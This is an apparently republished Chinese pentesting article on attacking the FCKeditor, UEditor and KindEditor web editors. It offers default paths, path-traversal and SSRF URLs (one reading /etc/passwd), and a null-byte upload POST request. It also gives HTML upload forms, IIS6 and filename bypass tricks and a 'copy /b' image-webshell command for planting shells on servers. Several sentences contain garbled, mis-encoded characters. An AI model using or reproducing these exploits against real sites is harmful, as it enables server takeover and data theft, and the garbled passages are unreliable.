前言
目前很多的項目都會使用富文本編輯器,如果使用或者配置不當,這些編輯器就會成為我們?nèi)肭值娜肟?,本篇文章就來看看目前常用的編輯器都有哪些以及存在什么樣的漏洞?/span>
常用的編輯器
目前項目中常用的一些編輯器如下
?
FCKeditor
簡介
FCkEditor是一個流行的開源富文本編輯器,提供了類似Microsoft Word的Web頁面編輯體驗。它支持跨平臺、自定義編輯功能、多語言支持和源碼編輯,具有強大的API接口,適合各種復雜網(wǎng)頁內(nèi)容編輯。開發(fā)者可以通過集成FckEditor實現(xiàn)內(nèi)容的動態(tài)保存和加載,盡管現(xiàn)在被CKEditor取代,但FckEditor為富文本編輯領域打下了基礎,并繼續(xù)為開發(fā)者提供高效的網(wǎng)頁內(nèi)容編輯解決方案。
官方已經(jīng)停止了該產(chǎn)品的更新,其最新版是2.6.6,于2010年2月15日發(fā)布。取代FCKeditor的是產(chǎn)品是CKEditor。CKEditor沒有找到可以直接利用的漏洞。
php下使用例子
FCKeditor支持ASP.Net、ASP、ColdFusion 、PHP、Jsp、Active-FoxPro、Lasso、Perl、Python 等編程環(huán)境。下面來看一下在php環(huán)境中的一個例子
include("fckeditor/fckeditor.php") ; //調(diào)用FCKeditor必須先載入FCKeditor類文件
//接下來,我們需要創(chuàng)建FCKeditor實例、指定FCKeditor存放路徑和創(chuàng)建(顯示)編輯器等
$oFCKeditor = new FCKeditor('FCKeditor1') ; // 創(chuàng)建FCKeditor實例
$oFCKeditor->BasePath = './fckeditor/'; // 設置FCKeditor目錄地址
$FCKeditor->Width='100%'; //設置顯示寬度
$FCKeditor->Height='300px'; //設置顯示高度的高度
$oFCKeditor->Create() ; // 創(chuàng)建編輯器
FCKeditor下常用的目錄
查看版本
/FCKeditor/editor/dialog/fck_about.html /FCKeditor/_whatsnew.html
默認上傳頁面
可以訪問這些頁面看系統(tǒng)中是否存在默認的上傳頁面
/FCKeditor/editor/filemanager/browser/default/browser.html /FCKeditor/editor/filemanager/browser/default/connectors/test.html //上傳以后的文件存放位置可以訪問:/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ /FCKeditor/editor/filemanager/upload/test.html /FCKeditor/editor/filemanager/connectors/test.html /FCKeditor/editor/filemanager/connectors/uploadtest.html
實例上傳地址
/FCKeditor/_samples/default.html /FCKeditor/editor/fckeditor.html /FCKeditor/editor/fckdialog.html
列目錄漏洞
/FCKeditor/editor/fckeditor.html 不可以上傳文件,但又一個瀏覽服務器文件的功能,有可能顯示文件目錄,前提是存在上面的上傳地址
可以通過修改CurrentFolder參數(shù)使用../../來進入不同的目錄
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
FCKeditor 2.4.2 for php以下修改Media類型進行上傳
FCKeditor 2.4.2 For php以下版本在處理PHP上傳的地方并未對Media 類型進行上傳文件類型的控制,導致用戶上傳任意文件!將以下保存為html文件,修改action地址為實際地址
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form>
FCKeditor 2.6.4 php版本任意文件上傳
Fckeditor 低于 2.6.4 php 版本任意文件上傳漏洞,當您的PHP環(huán)境配置為 GPC = Off 時可繞過currentfolder參數(shù)過濾上傳腳本木馬控制網(wǎng)站服務器
利用方式
POST /public/FCKEditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=fu.php%00.gif HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------29565348729577
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 219
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
-----------------------------29565348729577
Content-Disposition: form-data; name="NewFile"; filename="fu.gif"
Content-Type: image/jpeg GIF89a
-----------------------------29565348729577--
上傳的一些繞過措施
1)windows 2003 + IIS6 文件解析路徑漏洞
通過fckeditor在文件上傳頁面中,創(chuàng)建 xxx.asp 文件夾,在 xxx.asp 文件夾下上傳一個名為 xxx.jpg 的圖片后綴名webshell文件,即可獲取到其shell
2)重復上傳同名文件,繞過:"." 變?yōu)?“-” 的限制
某些版本的FCK上傳shell.asp;.jpg 會變?yōu)?shell_asp;.jpg,繼續(xù)上傳 shell.asp;.jpg 就會變成:shell.asp;(1).jpg
3)提交shell.php + 空格繞過文件名限制 ---- 只對windows系統(tǒng)有效
4)上傳一個.htaccess
UEditor
UEditor是由百度web前端研發(fā)部開發(fā)所見即所得富文本web編輯器,具有輕量,可定制,注重用戶體驗等特點,開源基于BSD協(xié)議,允許自由使用和修改代碼...
UEditor常用的控制器
.Net版本文件上傳
該任意文件上傳漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有.NET版本受該漏洞影響。黑客可以利用該漏洞上傳木馬文件,執(zhí)行命令控制服務器。
該漏洞是由于上傳文件時,使用的CrawlerHandler類未對文件類型進行檢驗,導致了任意文件上傳。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一個能正確解析的域名。而1.5.0用IP和普通域名都可以。相對來說1.5.0版本更加容易觸發(fā)此漏洞;而在1.4.3.3版本中攻擊者需要提供一個正常的域名地址就可以繞過判斷;
利用方式
1)本地構造一個html,用來上傳文件
<form action="http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr: <input type="text" name="source[]" /></p > <input type="submit" value="Submit" /></form>
2)準備一個圖片馬,遠程shell地址需要制定擴展名為xxxx.gif?.aspx
制作圖片馬的方式如下
copy 121212.png/b + cese.aspx 444.png
將該圖片馬放到自己的服務器上,上傳的時候再路徑后面加上?.aspx
SSRF漏洞
一些版本的UEditor編輯器還存在SSRF漏洞
http://xxx.com/ueditor/php/controller.php?action=catchimage&source[]=../../../../../../../etc/passwd
/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png
/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
KindEditor
KindEditor 是一套開源的國產(chǎn)在線HTML編輯器,主要用于讓用戶在網(wǎng)站上獲得所見即所得編輯效果,開發(fā)人員可以用 KindEditor 把傳統(tǒng)的多行文本輸入框(textarea)替換為可視化的富文本輸入框。 KindEditor 使用 JavaScript 編寫,可以無縫地與 Java、.NET、PHP、ASP 等程序集成,比較適合在 CMS、商城、論壇、博客、Wiki、電子郵件等互聯(lián)網(wǎng)應用上使用。
關鍵路徑
demo頁面
/kindEditor/jsp/demo.jsp
/kindEditor/php/demo.php
上傳地址
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
上傳任意html文件
漏洞存在于小于等于kindeditor4.1.5 編輯器里,你能上傳.txt和 .html文件,支持php/asp/jsp/asp.net。 /php/upload_json.php文件不會清理用戶輸入或者檢查用戶是否將任意文件上傳到系統(tǒng)。通過構造一個惡意的 html文件來實現(xiàn)跳轉(zhuǎn),釣魚等,惡意攻擊者可實現(xiàn)。
上傳poc
Target替換成實際的域名或者IP
<html><head>
<title>Uploader By ICE</title>
<script src="http://[Target]/kindeditor/kindeditor-min.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://[Target]/kindeditor/php/upload_json.asp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
打開即可上傳txt和html文件
參考鏈接
https://www.cnblogs.com/zhibing/p/16893839.html#Ueditor_3
https://blog.csdn.net/qq_45813980/article/details/126866682
閱讀原文:原文鏈接
該文章在 2025/5/14 9:26:05 編輯過